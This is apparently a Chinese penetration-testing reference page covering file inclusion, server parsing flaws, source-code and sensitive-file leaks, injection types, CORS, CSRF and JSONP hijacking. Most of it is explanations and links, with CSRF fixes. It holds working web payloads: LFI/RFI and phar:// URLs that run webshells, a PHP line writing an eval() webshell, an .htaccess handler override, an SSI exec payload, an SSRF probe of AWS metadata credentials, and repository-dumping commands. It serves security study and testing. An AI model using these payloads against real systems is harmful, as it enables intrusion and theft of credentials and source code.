* **[不安全的输入](#不安全的输入)**
* [http参数污染](#http参数污染)
* [CRLF_Injection](#crlf_injection)
* [host_Injection](#host_Injection)
* [SQL_inje](#sql_inje)
* [XSS](#xss)
* [XXE](#xxe)
* [SSRF](#ssrf)
* [SSTI](#ssti)
* **[配置不当](#配置不当)**
* [代理配置不当](#代理配置不当)
* [CORS](#cors)
* [CSRF](#csrf)
* [jsonp劫持](#jsonp劫持)
* **[钓鱼欺骗](#钓鱼欺骗)**
* [URL跳转漏洞](#url跳转漏洞)
* [二维码劫持](#二维码劫持)
* [点击劫持](#点击劫持)
---
**相关文章**
- [聊聊安全测试中如何快速搞定 Webshell](https://www.freebuf.com/articles/web/201421.html)
- [Web Service 渗透测试从入门到精通](https://www.anquanke.com/post/id/85910)
- [我的Web应用安全模糊测试之路](https://web.archive.org/web/20180814113607/https://gh0st.cn/archives/2018-07-25/1)
- [聊聊近期公开的几个GitLab高额奖金漏洞](https://mp.weixin.qq.com/s/m8AZuqXgGGitcwsP4l-sVQ)
---
## 文件包含
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在 PHP 中,提供了:`include()`,`include_once()`,`require()`,`require_once()` 这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1. 本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2. 远程文件包含漏洞:能够通过 url 地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩
因此,在 web 应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
**相关文章**
- [LFI、RFI、PHP 封装协议安全问题学习 - 骑着蜗牛逛世界](https://www.cnblogs.com/LittleHann/p/3665062.html#3831621)
- [php 文件包含漏洞 | Chybeta](https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/)
- [文件包含漏洞](https://blog.csdn.net/le0nis/article/details/52043732)
- [文件包含漏洞(绕过姿势)](https://xz.aliyun.com/t/1189)
- [文件包含漏洞原理分析](https://zhuanlan.zhihu.com/p/25069779)
- [文件包含漏洞总结 | 瓦都剋](http://byd.dropsec.xyz/2016/07/19/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/)
- [本地文件包含漏洞利用技巧](https://www.secpulse.com/archives/55769.html)
- [Directory Traversal, File Inclusion, and The Proc File System](https://blog.netspi.com/directory-traversal-file-inclusion-proc-file-system/)
- [Exploiting PHP File Inclusion - Overview | Reiners' Weblog](https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/)
- [Local File Inclusion with Magic_quotes_gpc enabled - NotSoSecure](https://notsosecure.com/local-file-inclusion-magicquotesgpc-enabled)
- [Positive Technologies - learn and secure : Another alternative for NULL byte](https://web.archive.org/web/20210514190401/https://blog.ptsecurity.com/2010/08/another-alternative-for-null-byte.html)
- [远程包含和本地包含漏洞的原理 - Kevins 的天空](https://blog.csdn.net/iiprogram/article/details/2349322)
- [聊聊安全测试中如何快速搞定Webshell](https://www.freebuf.com/articles/web/201421.html)
**相关案例**
- [IKEA官网本地文件包含(LFI)漏洞分析](https://blog.51cto.com/u_15127538/2714257)
**rfi payload**
- https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/rfi/
**lfi payload**
- https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders
- https://github.com/infosec-au/fuzzdb/blob/master/attack-payloads/rfi/rfi.txt
**几种利用方法**
- 常规利用
`Payload: http://www.test.com/test.php?file=upload/hourse.jpg&x=phpinfo()`
- 文件协议读取
其前提是得知道网站应用的绝对路径(物理路径):
`Payload: http://www.test.com/test.php?file=file://D:/Server/htdocs/test/upload/hourse.jpg&x=phpinfo()`
结果和上面一样,只是地址栏链接不一样.
- 压缩包文件读取
依然需要知道压缩包文件的绝对路径
`Payload: http://www.test.com/test.php?file=zip://D:/Server/htdocs/test/upload/shell.zip%23shell.php&x=phpinfo())`
- phar:// 相对路径运行 PHP 文件
当我们想要运行自己的 PHP 文件,该咋做呐?通过文件包含(include,require 这类函数),首先构造一个这样的文件,将 webshell.php 添加到压缩文件 .zip,然后将压缩包后缀名改为 .jpg 反正合法的文件后缀即可(一般的操作是这样的,当只能上传图片的时候),最后使用 phar:// 按照相对路径读取并执行文件.
`Payload:http://www.test.php?file=phar://upload/shell.jpg/shell.php?x=phpinfo()`
- 读取源码
当我们没法儿上传文件,但是又想读取文件的源码来寻找别的漏洞从而进一步利用该怎么做呐?同样的利用 php://filter/ 协议可以实现,要注意的是,因为编码问题,一般我们会将读取的文件先 Base64 编码一下输出:
`Payload:http://www.test.com/test.php?file=php://filter/read=convert.base64-encode/resource=upload/shell.php`
### 日志中毒攻击
`log poisoning`
**相关文章**
- [RCE with LFI and SSH Log Poisoning](https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/)
- [Apache Log Poisoning through LFI](https://www.hackingarticles.in/apache-log-poisoning-through-lfi/)
- [From Local File Inclusion to Remote Code Execution - Part 1 | Outpost 24 blog](https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1)
- [SMTP Log Poisioning through LFI to Remote Code Execution](https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/)
---
## 文件解析
**相关文章**
- [解析漏洞总结 - erevus](http://www.vuln.cn/7070)
### IIS
**5.x/6.0 解析漏洞**
IIS 6.0 解析利用方法有两种
1. 目录解析
`/xx.asp/xx.jpg`
2. 文件解析
`wooyun.asp;.jpg `
第一种,在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行.
例如创建目录 wooyun.asp,那么 `/wooyun.asp/1.jpg` 将被当作 asp 文件来执行.假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿 shell 了.
第二种,在 IIS6.0 下,分号后面的不被解析,也就是说 `wooyun.asp;.jpg` 会被服务器看成是wooyun.asp
还有 IIS6.0 默认的可执行文件除了 asp 还包含这三种
```
/wooyun.asa
/wooyun.cer
/wooyun.cdx
```
- **相关案例**
- [网站安全狗IIS6.0解析webshell访问限制bypass](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0128432)
- [网站安全狗免杀神技+IIS6.0解析WebShell访问限制Bypass](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0104444)
- [网站安全狗IIS6.0解析webshell访问拦截bypass](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-071861)
- [桃源网络硬盘&IIS6.0解析漏洞](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2011-02632)
---
### Nginx
**IIS 7.0/IIS 7.5/Nginx <8.03 畸形解析漏洞**
在默认 Fast-CGI 开启状况下,黑阔上传一个名字为 wooyun.jpg,内容为
`<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>`
然后访问 wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php
- **相关案例**
- [用友软件某分站SQL注入漏洞+nginx解析漏洞](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-032250)
- [新浪网分站多处安全漏洞(nginx解析+SQL注射等)小礼包 ](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-021064)
- [kingsoft.com某x级域名nginx解析漏洞+爆路径 ](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-019253)
**Nginx <8.03 空字节代码执行漏洞**
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx 在图片中嵌入 PHP 代码然后通过访问 `xxx.jpg%00.php` 来执行其中的代码
---
### Apache
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 wooyun.php.owf.rar ".owf"和".rar" 这两种后缀是 apache 不可识别解析,apache 就会把 wooyun.php.owf.rar 解析成 php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 wooyun.php.rar.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
- **相关案例**
- [安卓开发平台存在上传漏洞和 Apache 解析漏洞,成功获取 webshell](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-018433)
**.htaccess**
如果在 Apache 中 .htaccess 可被执行.且可被上传.那可以尝试在 .htaccess 中写入: `<FilesMatch "wooyun.jpg"> SetHandler application/x-httpd-php </FilesMatch>` 然后再上传 shell.jpg 的木马, 这样 shell.jpg 就可解析为 php 文件.
**CVE-2017-15715 Apache HTTPD 换行解析漏洞**
其 2.4.0~2.4.29 版本中存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略.
原理:在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析.
用 hex 功能在 1.php 后面添加一个 \x0A
访问 http://10.10.10.131:8080/1.php%0A ,成功解析
---
### 其他
在 windows 环境下,`xx.jpg[空格]` 或 `xx.jpg.` 这两类文件都是不允许存在的,若这样命名,windows 会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被 windows 自动消除,这样也可以 getshell.
**CGI 解析漏洞**
`/.php`
---
## 文件上传
- [Upload](./Upload.md)
---
## 信息泄露
**相关文章**
- [谈谈源码泄露](https://blog.csdn.net/GitChat/article/details/79014538)
- [敏感文件泄露](https://www.xazlsec.com/index.php/archives/62/)
**相关工具**
- [lijiejie/BBScan](https://github.com/lijiejie/BBScan) - 用于渗透测试前期,快速地对大量目标进行扫描,发现信息泄露等常见漏洞,找到可能的突破入口。
- [jerrychan807/WSPIH](https://github.com/jerrychan807/WSPIH) - 网站个人敏感信息文件扫描器
- [ring04h/weakfilescan](https://github.com/ring04h/weakfilescan) - 动态多线程敏感信息泄露检测工具
- [0xHJK/dumpall](https://github.com/0xHJK/dumpall) - 一款信息泄漏利用工具,适用于 .git/.svn 源代码泄漏和 .DS_Store 泄漏
```bash
# pip安装
pip install dumpall
# 查看版本
dumpall --version
# 示例
dumpall -u http://example.com/.git/
dumpall -u http://example.com/.svn/
dumpall -u http://example.com/.DS_Store
dumpall -u http://example.com/
```
- [donot-wong/sensinfor](https://github.com/donot-wong/sensinfor) - 一个自动扫描敏感文件的chrome扩展.
---
### 目录浏览
**Tips**
使用 wget 遍历下载所有文件
```
wget -r --no-pare target.com/dir
```
### Fileread
- [Fileread](./Fileread.md)
---
### 源码泄露
#### GIT
**简介**
当在一个空目录执行 git init 时,Git 会创建一个 `.git` 目录. 这个目录包含所有的 Git 存储和操作的对象. 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了.
- `/.git/config`
**相关案例**
- [大众点评某站点 git 泄漏源代码](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0117332)
**相关工具**
- [lijiejie/GitHack](https://github.com/lijiejie/GitHack) - 一个 `.git` 泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。
```bash
python2 GitHack.py http://www.openssl.org/.git/
```
- [gakki429/Git_Extract](https://github.com/gakki429/Git_Extract) - 提取远程 git 泄露或本地 git 的工具
```bash
python2 git_extract.py http://example.com/.git/ # 一个存在 .git 泄露的网站
python2 git_extract.py example/.git/ # 一个本地的 .git 路径
```
---
#### SVN
- `/.svn/entries`
**相关案例**
- [我爱我家某处源码泄露](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0149331)
**相关工具**
- [kost/dvcs-ripper](https://github.com/kost/dvcs-ripper) - SVN/GIT/HG 等版本控制系统的扫描工具
- [admintony/svnExploit](https://github.com/admintony/svnExploit) - 一款 SVN 源代码利用工具,其完美支持 SVN<1.7 版本和 SVN>1.7 版本的 SVN 源代码泄露
---
#### bzr
**相关工具**
- [kost/dvcs-ripper](https://github.com/kost/dvcs-ripper) - SVN/GIT/HG 等版本控制系统的扫描工具
```
rip-bzr.pl -v -u http://www.example.com/.bzr/
```
---
### DS_Store文件泄漏
**简介**
`.DS_Store` 文件 MAC 系统是用来存储这个文件夹的显示属性的:比如文件图标的摆放位置.如果用户删除以后的副作用就是这些信息的失去.
这些文件本来是给 Finder 使用的,但它们被设想作为一种更通用的有关显示设置的元数据存储,诸如图标位置和视图设置. 当你需要把代码上传的时候,安全正确的操作应该把 `.DS_Store` 文件删除才正确.
因为里面包含了一些目录信息,如果没有删除,攻击者通过 `.DS_Store` 可以知道这个目录里面所有文件名称,从而让攻击者掌握了更多的信息.
**相关案例**
- [TCL 某网站 DS_Store 文件泄露敏感信息](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-091869)
**相关工具**
- [lijiejie/ds_store_exp](https://github.com/lijiejie/ds_store_exp) - 一个 `.DS_Store` 文件泄漏利用脚本,它解析 `.DS_Store` 文件并递归地下载文件到本地。
- [anantshri/DS_Store_crawler_parser](https://github.com/anantshri/DS_Store_crawler_parser) - `.DS_Store` 文件解析脚本,递归地获取文件夹内的 `.ds_Store`
- [gehaxelt/Python-dsstore](https://github.com/gehaxelt/Python-dsstore)
---
### SWP文件泄露
**简介**
swp 即 swap 文件,在编辑文件时产生的临时文件,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。
直接访问 .swp 文件,下载回来后删掉末尾的 .swp,获得源码文件
---
### gedit备份文件
**简介**
linux 下,gedit 保存后当前目录会生成后缀为 “~” 的文件,然后通过浏览器访问这个文件就能得到原始文件的内容。
---
### 网站备份压缩文件
**简介**
该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下.
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失.
**相关案例**
- [百度某分站备份文件泄露](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-050622)
- [乐友商城 24GB 代码与数据库敏感文件泄露](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0124051)
**相关工具**
- [bufsnake/blueming](https://github.com/bufsnake/blueming) - 备份文件扫描,并自动进行下载
- [oscommonjs/scan-backup-langzi-](https://github.com/oscommonjs/scan-backup-langzi-) - 扫描备份文件和敏感信息泄漏的扫描器
- [VMsec/ihoneyBakFileScan_Modify](https://github.com/VMsec/ihoneyBakFileScan_Modify) - 批量网站备份文件扫描器,增加文件规则,优化内存占用
**Tips**
- 有时候文件太大,想先确认一下文件结构和部分内容,这时可以使用 remotezip,直接列出远程 zip 文件的内容,而无需完全下载,甚至可以远程解压,仅下载部分内容
```BASH
pip3 install remotezip
remotezip -l "http://site/bigfile.zip" # 列出远程zip文件的内容
remotezip "http://site/bigfile.zip" "file.txt" # 从远程zip⽂件解压出file.txt
```
---
### WEB-INF/web.xml信息泄露
**简介**
WEB-INF 是 Java 的 WEB 应用的安全目录.该目录原则上来说是客户端无法访问,只有服务端才可以可以访问.如果想在页面中直接访问其中的文件,必须通过 `web.xml` 文件对要访问的文件进行相应映射才能访问.
WEB-INF 主要包含一下文件或目录:
```
/WEB-INF/web.xml:Web 应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则;
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非 servlet class,他们不能包含在 .jar 文件中;
/WEB-INF/lib/:存放 web 应用需要的各种 JAR 文件,放置仅在这个应用中要求使用的 jar 文件 , 如数据库驱动 jar 文件;
/WEB-INF/src/:源码目录,按照包名结构放置各个 java 文件;
/WEB-INF/database.properties:数据库配置文件.
```
不过在一些特定的场合却会让攻击者能读取到其中的内容,从而造成源码泄露.
**相关案例**
- [华为官网 WEB-INF 目录配置文件导致信息泄露](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-022906)
---
### idea文件夹泄露
**相关工具**
- [lijiejie/idea_exploit](https://github.com/lijiejie/idea_exploit) - 一个 `.idea` 文件泄漏利用脚本
---
### JS敏感信息泄露
**相关文章**
- [JS 敏感信息泄露:不容忽视的 WEB 漏洞](https://www.secpulse.com/archives/35877.html)
- [Making use of Javascript (.JS) files](https://www.bugbountyhunter.com/guides/?type=javascript_files)
**相关案例**
- [从JS信息泄露到Webshell](http://r3start.net/index.php/2019/07/15/546)
- [一次有意思的js未授权访问](https://mp.weixin.qq.com/s/E9PqzhNHYOC8pRJ7FQonfg)
- [JS 接口导致信息泄露](https://mp.weixin.qq.com/s/_dqdpBqEXELQNE2kqUq6xQ)
**相关工具**
- [m4ll0k/SecretFinder](https://github.com/m4ll0k/SecretFinder) - 通过正则在 JS 中发现敏感数据,如 apikeys、accesstoken、authorizations、jwt,..等等
```bash
python3 SecretFinder.py -i https://example.com/ -e
```
建议自行添加如下规则
```re
'access_key': r'[Aa](ccess|CCESS)_?[Kk](ey|EY)|[Aa](ccess|CCESS)_?[sS](ecret|ECRET)|[Aa](ccess|CCESS)_?(id|ID|Id)',
'secret_key': r'[Ss](ecret|ECRET)_?[Kk](ey|EY)',
'JWT': r'[= ]ey[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*',
'ALL_JWT': r'[= ]ey[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]*',
```
- [Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) - 通过在 js 文件中提取 URL,子域名
```bash
python JSFinder.py -u http://www.xxx.com -d -ou url.txt -os subdomain.txt
python JSFinder.py -u http://www.xxx.com -d -c "session=xxx" # -c 指定cookie来爬取页面
python JSFinder.py -f text.txt -j # 批量指定URL/指定JS
```
---
### Swagger_REST_API信息泄露
**相关文章**
- [关于Swagger-UI下的渗透实战](https://blog.m1kh.com/index.php/archives/403/)
- [接口文档下的渗透测试](https://mp.weixin.qq.com/s/xQUnTXo38x_jLWv5beOQ0Q)
**相关工具**
- [lijiejie/swagger-exp](https://github.com/lijiejie/swagger-exp)
- [jayus0821/swagger-hack](https://github.com/jayus0821/swagger-hack) - 自动化爬取并自动测试所有 swagger 接口
---
### 各类APIkey泄露
- [APIkey/密钥信息](../../信息收集/信息收集.md#apikey密钥信息)
---
### SOAP泄露
**相关文章**
- [【技术分享】针对SOAP的渗透测试与防护](https://www.anquanke.com/post/id/85410)
- [Web Service渗透测试](https://www.mi1k7ea.com/2021/01/16/Web-Service%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/)
- [WSDL测试webservice接口指南](https://mp.weixin.qq.com/s/UTClGLSvQ3rdUoGeRlvp4w)
**相关案例**
- [BountyHunterInChina/重生之我是赏金猎人(四)—记一次有趣的客户端RCE+服务端XXE挖掘.pdf](https://github.com/J0o1ey/BountyHunterInChina/blob/main/%E9%87%8D%E7%94%9F%E4%B9%8B%E6%88%91%E6%98%AF%E8%B5%8F%E9%87%91%E7%8C%8E%E4%BA%BA(%E5%9B%9B)%E2%80%94%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9C%89%E8%B6%A3%E7%9A%84%E5%AE%A2%E6%88%B7%E7%AB%AFRCE%2B%E6%9C%8D%E5%8A%A1%E7%AB%AFXXE%E6%8C%96%E6%8E%98.pdf)
**相关工具**
- [SmartBear/soapui](https://github.com/SmartBear/soapui#build-and-run)
- [NetSPI/Wsdler](https://github.com/NetSPI/Wsdler) - 用于帮助测试 wsdl 接口的 burp 插件
- [ReadyAPI](https://smartbear.com/product/ready-api/api-functional-testing/free-trial/)
---
## 不安全的输入
### RCE
- [RCE 笔记](./RCE.md)
### HTTP参数污染
**相关文章**
- [Web 应用里的 HTTP 参数污染 (HPP) 漏洞](https://blog.csdn.net/eatmilkboy/article/details/6761407)
- [浅谈绕过 waf 的数种方法](https://blog.51cto.com/fcinbj/734197)
- [通过 HTTP 参数污染绕过 WAF 拦截](https://www.cnblogs.com/ssooking/articles/6337366.html)
**相关案例**
- [通过 HTTP 参数污染绕过 reCAPTCHA 认证](https://www.anquanke.com/post/id/146570)
---
### CRLF_Injection
**相关案例**
- [新浪某站CRLF Injection导致的安全问题](https://www.leavesongs.com/PENETRATION/Sina-CRLF-Injection.html)
**相关工具**
- [dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
### HOST_Injection
**相关文章**
- [检测到目标url存在框架注入漏洞_HOST注入攻击剖析](https://blog.csdn.net/weixin_39609500/article/details/111349436)
- [超详细http host注入攻击原理详解及漏洞利用](https://blog.csdn.net/madao1o_o/article/details/107507344)
- [安服仔小工具-Host注入](https://mp.weixin.qq.com/s/l8deOajHO2-yoSMcAScktA)
---
### SQL_inje
- [SQLi 笔记](./SQLi.md)
---
### XSS
- [XSS 笔记](./XSS.md)
---
### XXE
- [XXE 笔记](./XXE.md)
---
### SSI
`Server Side Includes 服务器端包含`
**简介**
SSI 就是在 HTML 文件中,可以通过注释行调用的命令或指针,即允许通过在 HTML 页面注入脚本或远程执行任意代码。
**相关文章**
- [服务器端包含注入SSI分析总结](https://www.secpulse.com/archives/66934.html)
- [Apache SSI 远程命令执行漏洞(SSI注入漏洞)](https://blog.csdn.net/qq_45521281/article/details/107576959)
**payload**
xxx.shtml
```shtml
<!--#exec cmd="id" -->
```
---
### SSRF
- [SSRF 笔记](./SSRF.md)
---
### SSTI
`服务器端模板注入`
- [SSTI 笔记](./SSTI.md)
---
### 表达式注入
**相关文章**
- [表达式注入](https://misakikata.github.io/2018/09/%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/)
**SpEL注入**
- [SpEL注入](../../语言安全/JAVA安全/SpEL注入.md)
---
### WebSocket安全
**相关文章**
- [利用WebSocket接口中转注入渗透实战](https://www.freebuf.com/articles/web/281451.html) - 通过脚本中转 websocket 让 sqlmap 可以注入
---
### 业务模板注入
`pdf 生成、html 模板生成的功能点`
`通常是配合 lfi、ssrf 进行利用`
**相关案例**
- [IKEA官网本地文件包含(LFI)漏洞分析](https://blog.51cto.com/u_15127538/2714257)
- pdf 模板注入 + aws metadata API
```
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"title="SSRF Test"></iframes>
```
> form : https://twitter.com/intigriti/status/1487405174763278338
---
## 配置不当
### 代理配置不当
**相关文章**
- [Abusing Reverse Proxies, Part 1: Metadata](https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/)
- [Abusing Reverse Proxies, Part 2: Internal Access](https://blog.projectdiscovery.io/abusing-reverse-proxies-internal-access/)
**相关案例**
- [新浪HTTP代理配置不当漫游内网](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0131169)
- [陌陌一处代理配置不当,已验证可绕过IP过滤探测敏感资源](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-083202)
- [陌陌web服务器Path处理不当可以正向代理(idc机器/打不到办公网)](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0191121)
- [挖洞经验之代理不当日进内网](https://mp.weixin.qq.com/s/EtUmfMxxJjYNl7nIOKkRmA)
- [价值1万美金的谷歌内部主机信息泄露漏洞](https://mp.weixin.qq.com/s/hYZr6EjwE99uTQpzoJRp0g)
- [Cloud Penetration Testing the Capital One Breach](https://cloudsecurityalliance.org/blog/2019/10/10/cloud-penetration-testing-the-capital-one-breach/)
---
### CORS
**简介**
CORS 跨域漏洞的本质是服务器配置不当,即 Access-Control-Allow-Origin 设置为 * 或是直接取自请求头 Origin 字段,Access-Control-Allow-Credentials 设置为 true。
**CORS 与 CSRF 的区别**
CORS 机制的目的是为了解决脚本的跨域资源请求问题,不是为了防止 CSRF。
CSRF 一般使用 form 表单提交请求,而浏览器是不会对 form 表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。
脚本的跨域请求在同源策略的限制下,响应会被拦截,即阻止获取响应,但是请求还是发送到了后端服务器。
- 相同点:都需要第三方网站;都需要借助 Ajax 的异步加载过程;一般都需要用户登录目标站点。
- 不同点:一般 CORS 漏洞用于读取受害者的敏感信息,获取请求响应的内容;而 CSRF 则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。
**相关文章**
- [JSONP与CORS漏洞挖掘](https://www.anquanke.com/post/id/97671)
- [认识CORS漏洞](https://mp.weixin.qq.com/s/GZRsg6pEaUlIq_eyMd3fBA)
- [浅析CORS攻击及其挖洞思路](https://xz.aliyun.com/t/7242)
- [CORS跨域漏洞学习](https://www.cnblogs.com/Xy--1/p/13069099.html)
**相关案例**
- [CORS Misconfiguration, could lead to disclosure of sensitive information](https://hackerone.com/reports/426165)
- [看我如何绕过Yahoo!View的CORS限制策略](https://www.freebuf.com/articles/web/158529.html)
**相关工具**
- [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - 一个旨在发现网站的 CORS 错误配置漏洞的 python 工具
- [Santandersecurityresearch/corsair_scan](https://github.com/Santandersecurityresearch/corsair_scan) - Corsair_scan is a security tool to test Cross-Origin Resource Sharing (CORS).
- [s0md3v/Corsy](https://github.com/s0md3v/Corsy) - CORS Misconfiguration Scanner
**相关靶场**
- [incredibleindishell/CORS_vulnerable_Lab-Without_Database](https://github.com/incredibleindishell/CORS_vulnerable_Lab-Without_Database)
---
### CSRF
**描述**
跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF 可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 Web 系统的安全。
**相关文章**
- [CSRF 漏洞的末日?关于 Cookie SameSite 那些你不得不知道的事](https://mp.weixin.qq.com/s/YqSxIvbgq1DkAlUL5rBtqA)
**相关工具**
- [merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator) - This HTML file creates a CSRF PoC form to any HTTP request.
**验证方法**
- GET
```html
<a href="http://www.example.com/api/setusername?username=uname">Click Me</a>
```
- POST
```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="uname" />
<input type="submit" value="Submit Request" />
</form>
```
- JSON GET
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```
- JSON POST
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```
**Bypass 技巧**
- 尝试 fuzz token
```
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
username=dapos&password=123456&token=0
username=dapos&password=123456&token=
username=dapos&password=123456&
```
- POST 转 GET
**修复方案**
* Referer 校验,对 HTTP 请求的 Referer 校验,如果请求 Referer 的地址不在允许的列表中,则拦截请求。
* Token 校验,服务端生成随机 token,并保存在本次会话 cookie 中,用户发起请求时附带 token 参数,服务端对该随机数进行校验。如果不正确则认为该请求为伪造请求拒绝该请求。
* Formtoken 校验,Formtoken 校验本身也是 Token 校验,只是在本次表单请求有效。
* 对于高安全性操作则可使用验证码、短信、密码等二次校验措施
* 增删改请求使用 POST 请求
---
### jsonp劫持
**简介**
JSONP(JSON with Padding)是 json 的一种 "使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是 script 标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。
JSONP 劫持实际上也算是 CSRF 的一种。当某网站使用 JSONP 的方式来跨域传递一些敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。
JSON 实际应用的时候会有两种传输数据的方式:
- xmlhttp 获取数据方式:
```
{"username":"twosmi1e","password":"test123"}
```
当在前端获取数据的时候,由于数据获取方和数据提供方属于同一个域下面,所以可以使用 xmlhttp 的方式来获取数据,然后再用 xmlhttp 获取到的数据传入自己的 js 逻辑如 eval。
- script 获取数据方式:
```
userinfo={"username":"twosmi1e","password":"test123"}
```
如果传输的数据在两个不同的域,由于在 javascript 里无法跨域获取数据,所以一般采取 script 标签的方式获取数据,传入一些 callback 来获取最终的数据,如果缺乏有效地控制(对 referer 或者 token 的检查)就有可能造成敏感信息被劫持。
<script src="http://www.test.com/userdata.php?callback=userinfo"></script>
**相关文章**
- [jsonp 原理详解——终于搞清楚 jsonp 是啥了](https://blog.csdn.net/hansexploration/article/details/80314948)
- [JSONP 安全攻防技术](https://blog.knownsec.com/2015/03/jsonp_security_technic/)
- [浏览网页就能泄露手机号的小秘密](https://mp.weixin.qq.com/s/_bTunF9TXBUze8ewCM--Fg)
- [渗透测试-JSONP数据劫持漏洞](https://mp.weixin.qq.com/s/Ww-ubc4VxpOyZvAyu49UhQ)
**相关案例**
- [中国联通某站 jsonp 接口跨域导致信息泄漏并可开通某些套餐 (运营商额外插入功能带来的风险) ](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0172305)
